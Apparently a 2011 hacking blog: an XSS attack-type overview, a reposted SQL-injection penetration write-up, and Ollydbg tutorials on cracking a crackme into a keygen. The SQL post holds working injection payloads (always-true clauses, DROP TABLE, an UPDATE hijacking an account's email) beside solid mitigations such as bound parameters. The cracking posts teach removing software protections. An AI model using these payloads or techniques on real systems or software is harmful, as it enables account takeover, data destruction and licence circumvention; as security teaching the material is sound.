Friday, 18 February 2011

Cross Site Scripting (XSS) Attack Types


XSS comes in three flavors of persistence, duration and damage. From XSSed they are:

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently.

Type-0 attack


1. Mallory sends a URL to Alice (via email or another mechanism) of a maliciously constructed web page.
2. Alice clicks on the link.
3. The malicious web page's JavaScript opens a vulnerable HTML page installed locally on Alice's computer.
4. The vulnerable HTML page contains JavaScript which executes in Alice's computer's local zone.
5. Mallory's malicious script now may run commands with the privileges Alice holds on her own computer.

Type-1 attack


1. Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and store sensitive information, such as billing information.
2. Mallory observes that Bob's website contains a reflected XSS vulnerability.
3. Mallory crafts a URL to exploit the vulnerability, and sends Alice an email, making it look as if it came from Bob (ie. the email is spoofed).
4. Alice visits the URL provided by Mallory while logged into Bob's website.
5. The malicious script embedded in the URL executes in Alice's browser, as if it came directly from Bob's server. The script steals sensitive information (authentication credentials, billing info, etc) and sends this to Mallory's web server without Alice's knowledge.

Type-2 attack


1. Bob hosts a web site which allows users to post messages and other content to the site for later viewing by other members.
2. Mallory notices that Bob's website is vulnerable to a type 2 XSS attack.
3. Mallory posts a message, controversial in nature, which may encourage many other users of the site to view it.
4. Upon merely viewing the posted message, site users' session cookies or other credentials could be taken and sent to Mallory's webserver without their knowledge.
5. Later, Mallory logs in as other site users and posts messages on their behalf....

Please note, the preceding examples are merely a representation of common methods of exploit and are not meant to encompass all vectors of attack.

Good video to watch, keeps things interesting, and XSS vulnerabilities are well worth knowing about, and learning how to defend against.

Tags: xssed,xss,cross site scripting,hacking,hack,hacker,vulnerability,info sec,web hacking,web 2.0,fun

Learn SQL Queries

"SQL Injection" is subset of the an unverified/unsanitized user input vulnerability ("buffer overflows" are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it's straightforward to create some real surprises.
We'll note that this was a somewhat winding road with more than one wrong turn, and others with more experience will certainly have different -- and better -- approaches. But the fact that we were successful does suggest that we were not entirely misguided.
There have been other papers on SQL injection, including some that are much more detailed, but this one shows the rationale of discovery as much as the process of exploitation.

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.
We speculate that the underlying SQL code looks something like this:
SELECT fieldlist
FROM table
WHERE field = '$EMAIL';
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.
When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:
SELECT fieldlist
FROM table
WHERE field = 'steve@unixwiz.net'';
when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.
Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:
SELECT fieldlist
FROM table
WHERE field = 'anything' OR 'x'='x';
Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).
But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:

Your login information has been mailed to random.person@example.com.

Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.
We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:
  • "Your login information has been mailed to email"
  • "We don't recognize your email address"
  • Server error
The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.
So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:
SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; --';
The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.
Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.
Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.
Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.
SELECT fieldlist
FROM table
WHERE email = 'x' AND userid IS NULL; --';
As a result of this process, we found several valid field names:
  • email
  • passwd
  • login_id
  • full_name
There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.
A standalone query of
SELECT COUNT(*) FROM tabname
Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:
SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' AND members.email IS NULL; --';
When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.
The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.
The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.
We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Bob%';
Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.
Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.
We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'bob@example.com' AND passwd = 'hello123';
This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.
The most drastic example is:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --'; -- Boom!
The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.
This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';
Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:
  1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
  2. The web application user might not have INSERT permission on the members table.
  3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
  4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
  5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.
In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.
We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.
From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
UPDATE members
SET email = 'steve@unixwiz.net'
WHERE email = 'bob@example.com';
After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.
We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:
Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.
We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.
We are also aware that not all approaches work with all databases, and we can touch on some of them here.
Use xp_cmdshell
Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure
Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.

Mitigations

We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.
Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Sidebar on email addresses
It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about. The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses. Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.
Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist
FROM table
WHERE id = 23 OR 1=1; -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist
FROM customers
WHERE name = 'Bill O''Reilly'; -- works OK
However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
SELECT fieldlist
FROM customers
WHERE name = '\''; DROP TABLE users; --'; -- Boom!
The expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).
These methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
Later, this prepared query is "executed" with a list of parameters:
Example in perl
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);
Thanks to Stefan Wagner, this demonstrates bound parameters in Java:
Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
+ formField); // *boom*
Secure version
PreparedStatement ps = connection.prepareStatement(
"SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.
Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.

Wednesday, 16 February 2011

Ollydbg Basics With Video

Basic Tutorial Video on How to use Ollydbg and Peid to Crack

Software Cracking is the art of breaking security protections in a software. Generally software cracks are distributed in the form of patches to the original software or keygen programs which generate arbitrary key / serial combinations. A Cracker works his way through a program by disassembling it and understanding the security protections built into it. He then proceeds to alter the behavior of the program by finding and changing (patching) the routines responsible for the security mechanisms, in order to allow full unlimited access to the program. Alternately, he can also reverse engineer the key / serial comparison routines and write a keygen for the program. This allows users to generate arbitrary valid keys / serials for the program.

In this awesome video created by Spiffomatic64, we learn about the basics of software cracking. Spiffomatic64 starts with a basic introduction to the tools of the trade - Ollydbg and Peid.

He talks about Ollydbg in detail:

  • the screen organization, shortcuts
  • how to run / pause programs
  • setting / removing breakpoints
  • how to inspect memory / code in a running program

He then uses a simple crackme prolixe_keygenme1.zip to show how software crackers work their way through a binary. He first verifies using Peid that the program has not been compressed or packed and then loads this program into Ollydbg, disassembles it and then proceeds to find the place in the code responsible for the annoying alert message shown in the beginning and then finally the place responsible for the key validation checks.

Once the code in these routines have been understood, he proceeds to patch the binary to convert the crackme into a keygen. Very nicely done. This video is a highly recommended watch for budding reverse engineers!

I would recommend that users download the video pack and the crackme all neatly provided in the link below and try the entire process themselves. Thanks go out to Spiffomatic64 for this video.

Here is a screenshot of the cracking video in .mp4 format:

If the above image not shown just check the video(download it from given link below)
http://hotfile.com/dl/48005850/f97c6fa/Ollydebug_and_Peid_cracking_tutorial_video.rar.html

writer - hackeramit4u@gmail.com

Tuesday, 15 February 2011

Ollydbg Basics for Beginners

I've decided to write this series of articles almost as a helper to those stuck on Geek 8. Looking at the stats, this seems to be where a lot of users get stuck so hopefully this article will show you how to progress. When I came to this level, I hadn't done anything like this before but since then I've been doing some reading around the subject and (geekily enough) I find it quite interesting.

---------------------
Section 1 - The Tools
---------------------
1. Ollydbg


---------------------------
Section 2 - Getting Started
---------------------------

Ok, so you should have downloaded the crackme and have Ollydebug installed. First thing to do is close this tutorial and have a play around. See what you can find and get a feel for the program. The very least this will do is teach you how to use basic Ollydebug functions. No cheating now ;-)

Done? Well maybe you suprised yourself and found things you thought you'd never find? Maybe you found nothing and reckon you just wasted 30 minutes? Either way, I'll go through the process I used to reverse this and hopefully it will teach you a few things.

Okay, so run the crackme and lets have a look around. Well, theres not much to see but we can find a 'Register' box. Enter a user name into the box and a random username. You'll get a message saying 'No luck there mate' (incidentally, if you do happen to guess your serial and get the 'Congratulations' message, I recommend that you buy a lottery ticket today). So we know what we need to do; we need to find the serial - at this point we dont know if its a hard coded number or if its generated from the username but thats part of the fun!

Okay, so open Olly and select Crackme1.exe. You'll then be presented with the workings of the application, starting about here :

00401000 6A 00 PUSH 0
00401002 E8 FF040000 CALL <JMP.&KERNEL32.GetModuleHandleA>
00401007 A3 CA204000 MOV DWORD PTR DS:[4020CA],EAX
0040100C 6A 00 PUSH 0

Now, we know that the Crackme is taking whatever we typed and checking it against the correct serial. We therefore need Olly to intercept any calls this crackme makes where it could be reading what we typed from the username and serial boxes. There are a few ways windows does this - its beyond the scope of this article to teach you the depths - but I will tell you that one of them if using the call 'GetDlgItemTextA'.

So, what we need to do is make sure that if the Crackme makes this call, Olly intercepts it and breaks for us so that we can follow what is being done with the information. Thats easy enough. If you press Ctrl-N (or right click and select 'Search for' followed by 'name (label) in current module') you are presented with a list of calls made by the crackme. You can then right click on GetDlgItemTextA and select 'set breakpoint on every reference'.

We're ready to go. Press F9 and Olly will run the crackme, presenting you with its user interface. Go to the registration box and enter a name and any serial. I'm using "FaTaLPrIdE" and "123456". Press the register button and Olly should break here :

004012C4 |. E8 07020000 |CALL <JMP.&USER32.GetDlgItemTextA>
004012C9 |. 83F8 01 |CMP EAX,1
004012CC |. C745 10 EB0300> |MOV DWORD PTR SS:[EBP+10],3EB

Now, this is the first reference to the call 'GetDlgItemTextA' so we know our serial is shortly going to be read in. If you read the top of you Olly window, it should say [CPU - main thread, module Crackme1]. This is important as when this says Kernel or User32, we know we can keeping stepping as it has nothing to do with our serial - we are only interested in the Crackme.

Press F8 to step over the program and try to get a feel for what is going on. Pressing just twice will bring you into User32 and after 15 step overs we are back with the crackme. 25 steps take us back to User32 and 38 take us back again. In future you will use F10 and F12 to step, F8 just shows you more of whats involved. If we continue this process we go through a long session in User32 and eventually land back here:

00401223 . 83F8 00 CMP EAX,0
00401226 .^74 BE JE SHORT Crackme1.004011E6
00401228 . 68 8E214000 PUSH Crackme1.0040218E ; ASCII "FaTaL_PrId"
0040122D . E8 4C010000 CALL Crackme1.0040137E
00401232 . 50 PUSH EAX
00401233 . 68 7E214000 PUSH Crackme1.0040217E ; ASCII "123456"
00401238 . E8 9B010000 CALL Crackme1.004013D8
0040123D . 83C4 04 ADD ESP,4
00401240 . 58 POP EAX
00401241 . 3BC3 CMP EAX,EBX
00401243 . 74 07 JE SHORT Crackme1.0040124C

This is where the fun begins. We're done with the User32 code and are back with the main routine of the Crackme. Olly even helps show us we're in the right place by showing that our entered username and password are pushed to the stack before calls are made and a compare is made shortly afterwards.

For now, press Ctrl-N, select 'GetDlgItemTextA' and press 'remove all breakpoints'. Then select the line 00401223 and press F2 to put a new breakpoint here. What this means is that you can now come back here whenever you run the program without stepping through all the previous steps we have taken. You dont want to search for this again if you press a wrong button somewhere!

So, we probably know how we could get the congrats message - a flick of the Z bit at 00401241 or simple patch of the JE at 00401243 should do it. But that doesn't teach us much, we want to know exactly what this crackme is doing in order to test our username and serial. Our job is to trace the calls at 0040122D and 00401238 to find out exactly what is going on here.


-----------------------------
Section 3 - The First Routine
-----------------------------

You should still be at 00401243. Press F8 until you highlight the following row:
0040122D . E8 4C010000 CALL Crackme1.0040137E

Now press F7. The difference between F7 and F8 is that F8 steps over calls and F7 steps into them. In other words, if a call is of no interest to you, you can press F8 to step over it and carry on. If you think that it might contain some vital information, press F7 to step into it and you can look at it in detail.

You should now be here :

0040137E /$ 8B7424 04 MOV ESI,DWORD PTR SS:[ESP+4] ; Crackme1.0040218E
00401382 |. 56 PUSH ESI
00401383 |> 8A06 /MOV AL,BYTE PTR DS:[ESI]
00401385 |. 84C0 |TEST AL,AL
00401387 |. 74 13 |JE SHORT Crackme1.0040139C
00401389 |. 3C 41 |CMP AL,41
0040138B |. 72 1F |JB SHORT Crackme1.004013AC
0040138D |. 3C 5A |CMP AL,5A
0040138F |. 73 03 |JNB SHORT Crackme1.00401394
00401391 |. 46 |INC ESI
00401392 |.^EB EF |JMP SHORT Crackme1.00401383
00401394 |> E8 39000000 |CALL Crackme1.004013D2
00401399 |. 46 |INC ESI
0040139A |.^EB E7 \JMP SHORT Crackme1.00401383
0040139C |> 5E POP ESI
0040139D |. E8 20000000 CALL Crackme1.004013C2

Okay, so we see at 0040137E that our username is loaded into ESI ready for processing. The first character of our username (F in my case) is then moved into AL before being tested to see if it is 0. Then the interesting stuff starts - at 00401389 the F is compared with 41. A strange comparison you might think?

Open up a browser window and go to www.asciitable.com and you'll get a better understanding. The computer deals with character values in hex i.e. next to my F in Olly is the number 46. If you look at the ASCII table you will see that 46 is the hexadecimal representation of 'F' and 41 is the representation of 'A'. What the line at 00401389 is doing then, is its taking the first letter of our username and comparing it with A. The result of this comparison effects what happens at the jump on the next line (0040138B) as if the first letter of our name is less than A (see the ASCII table) it jumps elsewhere. My F is above A though so we continue to 0040138D.

Here a similar operation is performed. A quick look at our ASCII values shows us that our character is now being compared with Z - this time a jump is taken if the value is above Z. Obviously, my F is fine and we continue.

At 00401399 ESI is incremented before a jump is taken back to 00401383. If you remember, our username is stored in ESI so this has essentially just moved us to the next letter of our username and gone back to the beginning of this routine. My second letter is 'a' so lets see how this is dealt with.

Well, stepping through it passes the comparison with 'A' as 61 is indeed greater than 41(A). When we get to the comparison with Z though, it fails and the jump is taken at 0040138F to 00401394. This is because, as the table shows, a(61) is greater than Z(5A).

So we land here :
00401394 |> E8 39000000 |CALL Crackme1.004013D2

Which in turn sends us here:
004013D2 /$ 2C 20 SUB AL,20
004013D4 |. 8806 MOV BYTE PTR DS:[ESI],AL
004013D6 \. C3 RETN

So whats happening here? Our character is in AL and gets 20 subtracted from it. Whats this for? Check out the ASCII table.... you will see that my 'a' is 20 values higher than 'A' i.e. a-20=A; this sub routine has just capitalised my character! It then jumps back to the routine, increments ESI to the next letter and continues.

Step through the rest of the routine and you'll notice that your entire username is processed to make sure its uppercase. Thats all this bit is doing. My username is now FATALPRIDE.

A couple of points to note though are that if you only used uppercase letters anyway, this routine is redundant and you wont even see the SUB AL,20 part. Also, if you have non alphabetic characters in there, they'll be taken down 20 values too as they obviously are not between A and Z.

Once the last letter of your username has been processed, the TEST AL,AL will fail and the application jumps out of this loop to 0040139C where your newly capitalised name is popped from the stack to ESI.

Then comes this line:
0040139D |. E8 20000000 CALL Crackme1.004013C2

Press F7 to trace this call - this is the second routine. Setting a breakpoint here may be useful too!


------------------------------
Section 4 - The Second Routine
------------------------------

When we trace the above call we get the following:
004013C2 /$ 33FF XOR EDI,EDI
004013C4 |. 33DB XOR EBX,EBX
004013C6 |> 8A1E /MOV BL,BYTE PTR DS:[ESI]
004013C8 |. 84DB |TEST BL,BL
004013CA |. 74 05 |JE SHORT Crackme1.004013D1
004013CC |. 03FB |ADD EDI,EBX
004013CE |. 46 |INC ESI
004013CF |.^EB F5 \JMP SHORT Crackme1.004013C6
004013D1 \> C3 RETN

So whats happening here? Well firstly EDI and EBX are XOR'd with themselves - you've passed enough challenges to know that this always returns a 0 result hence this is just a way of clearing both EDI and EBX.

Then a similar thing happens to what happened in the above routine - the only difference being that the first letter of our capitalised username is move to BL rather than AL. Its then tested incase its 0 before landing at 004013CC.

If you've read Trope's articles, you'll know that BL (where our character is stored) is just the lower memory in EBX. Hence ADD EDI,EBX is taking the value of that character and adding it to EDI - obviously, we just zero'd EDI so for the first letter, its added to 0. We then increment to the next letter of our username and the process is repeated although notice that the loop does not include the XOR functions each time. This basically has the effect of adding all the values of our username together and storing it in EDI. For my username I get this :

F + A + T + A + L + P + R + I + D + E
46 + 41 + 54 + 41 + 4C + 50 + 52 + 49 + 44 + 45 = 02DC

At the end of the username, we fail the TEST BL,BL and jump out to the return statement at 004013D1. Our summed username (02DC in my case) is still stored in EDI.


---------------------------------------
Section 5 - Finishing With The Username
---------------------------------------

So the last line of the above routine is :
004013D1 \> C3 RETN

When we step over this, it takes us back to the end of the first routine, to where the second routine was called from. We land here :
004013A2 |. 81F7 78560000 XOR EDI,5678
004013A8 |. 8BC7 MOV EAX,EDI

Okay, so here we have another XOR statement - this time the contents of EDI are XOR'd with '5678'. We know that EDI contains our summed username so in my case, this equation is :

02DC XOR 5678 - the result is stored in EDI again (54A4 in my case) before the next statement moves it to EAX. We then jump back to the initial code we looked at in section 2.

00401223 . 83F8 00 CMP EAX,0
00401226 .^74 BE JE SHORT Crackme1.004011E6
00401228 . 68 8E214000 PUSH Crackme1.0040218E ; ASCII "FaTaL_PrId"
0040122D . E8 4C010000 CALL Crackme1.0040137E
00401232 . 50 PUSH EAX
00401233 . 68 7E214000 PUSH Crackme1.0040217E ; ASCII "123456"
00401238 . E8 9B010000 CALL Crackme1.004013D8
0040123D . 83C4 04 ADD ESP,4
00401240 . 58 POP EAX
00401241 . 3BC3 CMP EAX,EBX
00401243 . 74 07 JE SHORT Crackme1.0040124C

